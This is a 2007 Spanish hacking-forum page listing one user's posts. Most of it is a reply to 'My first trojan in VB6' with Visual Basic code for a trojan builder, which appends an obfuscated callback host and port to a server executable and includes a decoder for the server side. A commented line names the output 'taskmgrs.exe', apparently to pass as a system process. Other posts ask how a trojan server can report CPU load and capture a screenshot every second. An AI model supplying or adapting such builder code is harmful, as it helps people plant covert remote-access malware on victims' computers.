elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [17] 18 19 20 21 22 23
161  Programación / Programación Visual Basic / Re: Mi primer troyano en VB6.0 en: 28 Julio 2007, 16:12 pm
haber si mirando mi viejo editor de server te ayuda en algo

diseñas un form parecido a esto:


Código
  1. Dim finta As Boolean
  2. Dim i1 As Integer
  3. Dim Primera, Segunda As String
  4. Dim MICAdena As String
  5. Private Sub Command1_Click()
  6. Me.MousePointer = 11
  7. hacerlo
  8. Me.MousePointer = 0
  9. End Sub
  10.  
  11. Private Sub Command2_Click() 'solo para el test!
  12. On Error Resume Next
  13. If Len(Text1) = 0 Or Len(Text2) = 0 Or Len(Text7) = 0 Then
  14.    MsgBox "Can`t continue...", vbCritical + vbOKOnly, "Falta parámetros..."
  15. Else
  16.    Command1.Enabled = True
  17. End If
  18. End Sub
  19.  
  20.  
  21.  
  22.  
  23.  
  24. Private Sub Command3_Click()
  25. CD.Filter = "Server (*.exe)|*.exe"
  26. CD.ShowOpen
  27. Text8 = CD.FileName
  28. End Sub
  29.  
  30.  
  31.  
  32.  
  33. Sub hacerlo()
  34. Dim puerto, host, IdServer As String
  35. Dim lp, lh, lt, li As Integer
  36. Dim DataToAdd As String
  37. Dim DataEncrypted As String
  38.  
  39.    puerto = Text1.Text
  40.    host = Text2.Text
  41.    IdServer = Text7.Text
  42.  
  43.  
  44.    lp = Len(puerto)
  45.    lh = Len(host)
  46.    li = Len(IdServer)
  47.    lt = lp + lh + li
  48.    'MsgBox (App.Path)
  49.    DataToAdd = Trim(puerto) & "/" & Trim(host) & "/" & Trim(IdServer) & "/"
  50.    DataEncrypted = EncodeW(DataToAdd)
  51.  
  52.    'Open App.Path & "\taskmgrs.exe" For Binary As #1 '//abrimos el archivo en forma binaria.
  53.    Open Text8.Text For Binary As #1 '//abrimos el archivo en forma binaria.
  54.  
  55.       Seek (1), LOF(1) + 1 'nos vamos al final del archivo
  56.       Put #1, , DataEncrypted & Trim(Str(lt))
  57.    Close #1
  58.    MsgBox ("El servidor ha sido generado corréctamente (Encrypted)")
  59.    End
  60.  
  61. End Sub
  62.  
  63. 'modulo para ocultar un poco los datos añadidos al final del servidor
  64. Function EncodeW(TextToE As String) As String
  65. Dim i As Integer
  66. Dim cad As String * 1
  67. Dim Texto(200) As String
  68. Dim Encrip(200) As String
  69. Dim TextReturn As String
  70. For i = 1 To Len(TextToE)
  71.   cad = Right(TextToE, i)
  72.   Texto(i) = Left(cad, 1)
  73. Next
  74.  
  75. For i = Len(TextToE) To 1 Step -1
  76.  Encrip(i) = Chr(Asc(Texto(i)) + 1)
  77.  TextReturn = TextReturn & Encrip(i)
  78. Next
  79. EncodeW = TextReturn
  80. End Function
  81.  

con eso agregas esos datos al final del server, y en el codigo del server tendrias que poner algo asi, (en el form load del server)


Código
  1.  
  2. ArrayCritico() As String 'esto en general
  3.  
  4. On Error GoTo error:
  5. Dim DataRealD As String
  6. Dim nd, nd1 As String
  7.  
  8. nd = Right(filedata, 2)
  9.  
  10. nd1 = Right(filedata, Val(nd) + 5)
  11.  
  12. MsgBox (nd)
  13. MsgBox (nd1)
  14.  
  15.  
  16. DataRealD = DecodeW(nd1) 'traducimos
  17.  
  18.  
  19. MsgBox ArrayCritico(0) 'puerto
  20. MsgBox ArrayCritico(1) 'host
  21. MsgBox ArrayCritico(2) 'id del server (simple identificador)
  22. MsgBox ArrayCritico(3) 'numero de caracteres escritos al final del exe
  23.  
  24. Port = Val(ArrayCritico(0))
  25. Ip = ArrayCritico(1)
  26. error:
  27. End Sub
  28.  

en donde se ve que hay una funcioncilla "decodew" que va asi:
Código
  1. Function DecodeW(TextToD As String) As String
  2. Dim TextDReturn As String
  3. Dim i As Integer
  4.  
  5. Dim cad As String * 1
  6. Dim TextoEncriptado(200) As String
  7. For i = 1 To Len(TextToD)
  8.   cad = Right(TextToD, i)
  9.   TextoEncriptado(i) = Left(cad, 1)
  10. Next
  11.  
  12. For i = Len(TextToD) To 1 Step -1
  13.  TextDReturn = TextDReturn & Chr((Asc(TextoEncriptado(i))) - 1)
  14. Next
  15. DecodeW = TextDReturn
  16. End Function
  17.  

ojala me hayas entendido  ;D

Oops! me falto decirte que para probarlo tienes que tener el exe de tu servidor, si lo pruebas desde basic no funciona.

Un saludo
162  Programación / Programación Visual Basic / Re: conexion lenta con el csocketmaster en: 26 Julio 2007, 19:42 pm
mis servidores estan con el csocketmaster y mi cliente con el winsock normal, no he tenido ningun problema por lo que puedo deducir que es tu código el que esta mal..., y dices que 2 minutos para un archivo de 150KB en red lan local?,  la misma cantidad desde afuera mi server me lo envia en segundos! asi que: definitivo es tu código!
163  Programación / Programación Visual Basic / Re: Uso de CPU, como obtenerlo con basic? en: 22 Julio 2007, 00:56 am
para no abrir otro tema, y ¿para ver el uso de PF?, algun code, es decir uso de RAM o del archivo de paginacion, por que eso significa PF o no?

saludos
164  Programación / Programación Visual Basic / Re: Uso de CPU, como obtenerlo con basic? en: 19 Julio 2007, 22:08 pm
gracias Benru...

encontré la fuente:

http://www.recursosvisualbasic.com.ar/htm/trucos-codigofuente-visual-basic/117-wmi-uso-cpu.htm

incluso muestra otro ejemplo que muestra mas info del procesador.
165  Programación / Programación Visual Basic / Uso de CPU, como obtenerlo con basic? en: 19 Julio 2007, 21:47 pm
Me preguntaba si se puede obtener el uso del CPU para mostrarlo en por ejemplo una ventana de basic, si se puede ¿como se hace?, hay alguna API para esto?,  mi intencion es que un servidor de un troyano advierta al cliente si el uso del cpu de la pc remota es demasiado alto, para que en ese caso se haga algunas tareas.

Un Saludo.
166  Programación / Programación Visual Basic / Re: Felicidades a los 2 nuevos moderadores en: 12 Julio 2007, 06:39 am
ha carambas, felicidades, deseandoles mucha suerte y que el foro de VB siga creciendo en beneficio de todos...
167  Foros Generales / Sugerencias y dudas sobre el Foro / estilo CSS de elhacker.net en: 25 Junio 2007, 03:15 am
una consulta a cerca del diseño del foro, se ah hecho alguna vez publico el archivo de estilo CSS del foro, lo que desearia es aplicar a mi foro SMF los mismos colores de foro.elhacker.net, alguien lo tiene o es estrictamente privado?

un saludo!
168  Programación / Programación Visual Basic / Re: lograr un mismo tamaño al capturar con Cjpeg en: 23 Junio 2007, 18:21 pm
pues ojala nos digas como hacerlo, lo queria hacer asi para no tener que enviar primero el tamaño de la imagen y luego la imagen en si....
169  Programación / Programación Visual Basic / lograr un mismo tamaño al capturar con Cjpeg en: 23 Junio 2007, 04:24 am
me preguntaba si alguien sabe la forma de lograr un archivo de captura de pantalla de un solo tamaño, sucede que en un timer estoy capturando cada segundo un screenshot y como es muy cambiante el tamaño final depende de eso y de la calidad claro, 25kb, 28 o 35kb... habra alguna forma de lograr por ejemplo que todas las capturas sean de 25kb?

170  Programación / PHP / Re: busco gente que sepa manejar php para la creacion de un juego online en: 22 Junio 2007, 03:08 am
un juego tipo ogame?...

uhmmm no se como pero se un poco de php...

Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [17] 18 19 20 21 22 23
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines